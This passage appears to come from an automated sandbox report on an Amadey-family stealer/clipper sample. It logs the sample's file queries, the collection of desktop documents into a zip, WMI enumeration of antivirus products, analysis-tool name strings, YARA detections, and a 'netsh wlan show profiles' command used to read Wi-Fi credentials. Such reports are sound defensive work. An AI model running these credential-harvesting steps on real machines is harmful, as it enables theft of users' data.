Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Queries volume information: C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Queries volume information: C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Queries volume information: C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Queries volume information: C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Queries volume information: C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Queries volume information: C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\FACWLRWHGG.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\MNULNCRIYC.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\MNULNCRIYC.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\NHPKIZUUSG.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\PSAMNLJHZW.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\QVTVNIBKSD.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\QVTVNIBKSD.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\TQDGENUHWP.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\FACWLRWHGG.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\MNULNCRIYC.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\MNULNCRIYC.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\NHPKIZUUSG.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\PSAMNLJHZW.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\QVTVNIBKSD.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\QVTVNIBKSD.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\TQDGENUHWP.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation

Source: C:\Windows\explorer.exe

Code function: 5_2_0C5D681C GetSystemTimeAsFileTime,GetCurrentThreadId,GetTickCount64,GetTickCount64,QueryPerformanceCounter,

5_2_0C5D681C

Source: C:\Windows\explorer.exe

Code function: 5_2_0C5C5630 GetUserNameW,GetComputerNameW,GetNativeSystemInfo,GetVersionExA,wsprintfA,free,

5_2_0C5C5630

Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe

Code function: 11_2_00007FF7102E518C _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

11_2_00007FF7102E518C

Source: C:\Users\user\Desktop\mggoBrtk9t.exe

Code function: 0_2_00007FF7CDC433EC GetVersionExW,

0_2_00007FF7CDC433EC

Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Source: mggoBrtk9t.exe, svchost.exe, A629855EB2A22925382193.exe, audiodg.exe, msiexec.exe	Binary or memory string: procmon.exe
Source: mggoBrtk9t.exe, svchost.exe, A629855EB2A22925382193.exe, audiodg.exe, msiexec.exe	Binary or memory string: procexp.exe
Source: mggoBrtk9t.exe, svchost.exe, A629855EB2A22925382193.exe, audiodg.exe, msiexec.exe	Binary or memory string: autoruns.exe

Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 34.2.rundll32.exe.6f6f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.759D.tmp.gfx.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.rundll32.exe.6f6f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.Gxtuum.exe.300000.0.unpack, type: UNPACKEDPE
